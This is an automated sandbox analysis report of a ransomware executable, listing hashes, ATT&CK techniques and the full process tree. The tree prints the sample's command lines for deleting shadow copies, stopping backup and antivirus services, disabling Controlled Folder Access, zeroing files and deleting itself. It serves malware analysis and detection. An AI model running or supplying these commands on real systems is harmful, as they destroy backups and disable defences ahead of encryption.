cd0f55dd00111251cd580c7e7cc1d17448faf27e4ef39818d75ce330628c7787

Resubmissions

14-12-2023 12:07

231214-pajw2sehe8 10

14-12-2023 12:03

231214-n8hk7sddfj 10

Analysis

max time kernel
118s
max time network
123s
platform
windows7_x64
resource
win7-20231130-en
resource tags

arch:x64arch:x86image:win7-20231130-enlocale:en-usos:windows7-x64system
submitted
14-12-2023 12:03

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General

Target

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Size

91KB
MD5

be60e389a0108b2871dff12dfbb542ac
SHA1

14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
SHA256

5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
SHA512

6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
SSDEEP

1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI

Score

9^/10

ransomware

Malware Config

Signatures

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490
Renames multiple (65) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes itself 1 IoCs

pid	Process
2472	cmd.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1108	sc.exe
1228	sc.exe
1596	sc.exe
500	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 14 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1064	vssadmin.exe
2932	vssadmin.exe
1728	vssadmin.exe
2268	vssadmin.exe
1148	vssadmin.exe
1576	vssadmin.exe
2160	vssadmin.exe
2060	vssadmin.exe
3032	vssadmin.exe
2036	vssadmin.exe
1544	vssadmin.exe
2032	vssadmin.exe
608	vssadmin.exe
1888	vssadmin.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
2704	taskkill.exe
2192	taskkill.exe
2892	taskkill.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
2948	notepad.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2264	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Token: SeDebugPrivilege	764	powershell.exe
Token: SeDebugPrivilege	2704	taskkill.exe
Token: SeDebugPrivilege	2192	taskkill.exe
Token: SeDebugPrivilege	2892	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1696 wrote to memory of 764	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	184
PID 1696 wrote to memory of 764	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	184
PID 1696 wrote to memory of 764	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	184
PID 1696 wrote to memory of 764	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	184
PID 1696 wrote to memory of 2320	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	182
PID 1696 wrote to memory of 2320	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	182
PID 1696 wrote to memory of 2320	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	182
PID 1696 wrote to memory of 2320	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	182
PID 1696 wrote to memory of 2328	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	181
PID 1696 wrote to memory of 2328	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	181
PID 1696 wrote to memory of 2328	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	181
PID 1696 wrote to memory of 2328	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	181
PID 1696 wrote to memory of 2580	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	180
PID 1696 wrote to memory of 2580	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	180
PID 1696 wrote to memory of 2580	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	180
PID 1696 wrote to memory of 2580	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	180
PID 1696 wrote to memory of 2332	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	179
PID 1696 wrote to memory of 2332	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	179
PID 1696 wrote to memory of 2332	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	179
PID 1696 wrote to memory of 2332	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	179
PID 1696 wrote to memory of 2636	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	176
PID 1696 wrote to memory of 2636	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	176
PID 1696 wrote to memory of 2636	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	176
PID 1696 wrote to memory of 2636	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	176
PID 1696 wrote to memory of 2692	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	175
PID 1696 wrote to memory of 2692	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	175
PID 1696 wrote to memory of 2692	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	175
PID 1696 wrote to memory of 2692	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	175
PID 1696 wrote to memory of 2696	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	174
PID 1696 wrote to memory of 2696	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	174
PID 1696 wrote to memory of 2696	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	174
PID 1696 wrote to memory of 2696	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	174
PID 1696 wrote to memory of 2632	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	171
PID 1696 wrote to memory of 2632	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	171
PID 1696 wrote to memory of 2632	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	171
PID 1696 wrote to memory of 2632	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	171
PID 1696 wrote to memory of 2920	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	170
PID 1696 wrote to memory of 2920	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	170
PID 1696 wrote to memory of 2920	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	170
PID 1696 wrote to memory of 2920	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	170
PID 1696 wrote to memory of 2768	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	168
PID 1696 wrote to memory of 2768	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	168
PID 1696 wrote to memory of 2768	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	168
PID 1696 wrote to memory of 2768	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	168
PID 1696 wrote to memory of 2604	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	167
PID 1696 wrote to memory of 2604	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	167
PID 1696 wrote to memory of 2604	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	167
PID 1696 wrote to memory of 2604	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	167
PID 1696 wrote to memory of 2664	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	163
PID 1696 wrote to memory of 2664	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	163
PID 1696 wrote to memory of 2664	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	163
PID 1696 wrote to memory of 2664	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	163
PID 1696 wrote to memory of 2528	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	161
PID 1696 wrote to memory of 2528	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	161
PID 1696 wrote to memory of 2528	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	161
PID 1696 wrote to memory of 2528	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	161
PID 1696 wrote to memory of 2624	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	160
PID 1696 wrote to memory of 2624	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	160
PID 1696 wrote to memory of 2624	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	160
PID 1696 wrote to memory of 2624	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	160
PID 1696 wrote to memory of 2656	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	158
PID 1696 wrote to memory of 2656	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	158
PID 1696 wrote to memory of 2656	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	158
PID 1696 wrote to memory of 2656	1696	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe	158

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe

C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"
1⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1696
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop veeam /y
  2⤵
  PID:2828
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop veeam /y
    3⤵
    PID:1088
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop PDVFSService /y
  2⤵
  PID:1704
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop PDVFSService /y
    3⤵
    PID:2240
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecVSSProvider /y
  2⤵
  PID:2356
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecVSSProvider /y
    3⤵
    PID:1284
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecDiveciMediaService /y
  2⤵
  PID:2468
- - C:\Windows\SysWOW64\net1.exe
    C:\Windows\system32\net1 stop BackupExecDiveciMediaService /y
    3⤵
    PID:448
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLWriter start= disabled
  2⤵
  - Launches sc.exe
  PID:1108
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1576
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1064
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2032
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=e: /on=e: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:608
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c rd /s /q %SYSTEMDRIVE%\$Recycle.bin
  2⤵
  PID:1568
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2160
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:2060
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=h: /on=h: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:3032
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:2268
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=g: /on=g: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2036
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=f: /on=f: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1888
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=d: /on=d: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:1544
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=unbounded
  2⤵
  - Interacts with shadow copies
  PID:1148
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" resize shadowstorage /for=c: /on=c: /maxsize=401MB
  2⤵
  - Interacts with shadow copies
  PID:2932
- C:\Windows\SysWOW64\vssadmin.exe
  "vssadmin.exe" Delete Shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1728
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopservice.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2704
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mydesktopqos.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2192
- C:\Windows\SysWOW64\taskkill.exe
  "taskkill.exe" /IM mspub.exe /F
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2892
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SstpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1228
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp88B.bat
  2⤵
  PID:2876
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
  2⤵
  - Launches sc.exe
  PID:1596
- C:\Windows\SysWOW64\sc.exe
  "sc.exe" config SQLTELEMETRY start= disabled
  2⤵
  - Launches sc.exe
  PID:500
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop sophos /y
  2⤵
  PID:1392
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CAARCUpdateSvc /y
  2⤵
  PID:840
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop CASAD2DWebSvc /y
  2⤵
  PID:1976
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcronisAgent /y
  2⤵
  PID:1468
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop AcrSch2Svc /y
  2⤵
  PID:1440
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecRPCService /y
  2⤵
  PID:880
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecManagementService /y
  2⤵
  PID:1020
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecJobEngine /y
  2⤵
  PID:560
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentBrowser /y
  2⤵
  PID:2152
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BackupExecAgentAccelerator /y
  2⤵
  PID:2296
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamNFSSvc /y
  2⤵
  PID:292
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamDeploymentService /y
  2⤵
  PID:3016
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VeeamTransportSvc /y
  2⤵
  PID:2532
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop VSNAPVSS /y
  2⤵
  PID:2504
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop stc_raw_agent /y
  2⤵
  PID:2484
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop zhudongfangyu /y
  2⤵
  PID:2488
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooIT /y
  2⤵
  PID:2536
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop YooBackup /y
  2⤵
  PID:2656
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBCFMonitorService /y
  2⤵
  PID:2624
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop Intuit.QuickBooks.FCS /y
  2⤵
  PID:2528
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBIDPService /y
  2⤵
  PID:2664
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop QBFCService /y
  2⤵
  PID:2604
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop RTVscan /y
  2⤵
  PID:2768
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop SavRoam /y
  2⤵
  PID:2920
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccSetMgr /y
  2⤵
  PID:2632
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop ccEvtMgr /y
  2⤵
  PID:2696
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop DefWatch /y
  2⤵
  PID:2692
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop NetBackup BMR MTFTP Service /y
  2⤵
  PID:2636
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop BMR Boot Service /y
  2⤵
  PID:2332
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop mfewc /y
  2⤵
  PID:2580
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop McAfeeDLPAgentService /y
  2⤵
  PID:2328
- C:\Windows\SysWOW64\net.exe
  "net.exe" stop avpsus /y
  2⤵
  PID:2320
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:764
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
  2⤵
  PID:1440
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.7 -n 3
    3⤵
    - Runs ping.exe
    PID:2264
- - C:\Windows\SysWOW64\fsutil.exe
    fsutil file setZeroData offset=0 length=524288 “%s”
    3⤵
    PID:2468
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
  2⤵
  - Deletes itself
  PID:2472
- - C:\Windows\SysWOW64\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2452
- C:\Windows\SysWOW64\notepad.exe
  "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2948

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BMR Boot Service /y
1⤵
PID:1524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop avpsus /y
1⤵
PID:1644

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBFCService /y
1⤵
PID:1312

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfewc /y
1⤵
PID:2780

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccEvtMgr /y
1⤵
PID:1456

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SavRoam /y
1⤵
PID:1752

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop QBIDPService /y
1⤵
PID:1884

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop stc_raw_agent /y
1⤵
PID:2740

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooIT /y
1⤵
PID:1620

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop YooBackup /y
1⤵
PID:1300

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y
1⤵
PID:1912

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RTVscan /y
1⤵
PID:2392

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ccSetMgr /y
1⤵
PID:2804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VSNAPVSS /y
1⤵
PID:2840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
1⤵
PID:1476

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
1⤵
PID:1172

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
1⤵
PID:2400

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sophos /y
1⤵
PID:2264

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CASAD2DWebSvc /y
1⤵
PID:1760

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
1⤵
PID:980

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
1⤵
PID:3060

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop CAARCUpdateSvc /y
1⤵
PID:876

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
1⤵
PID:1836

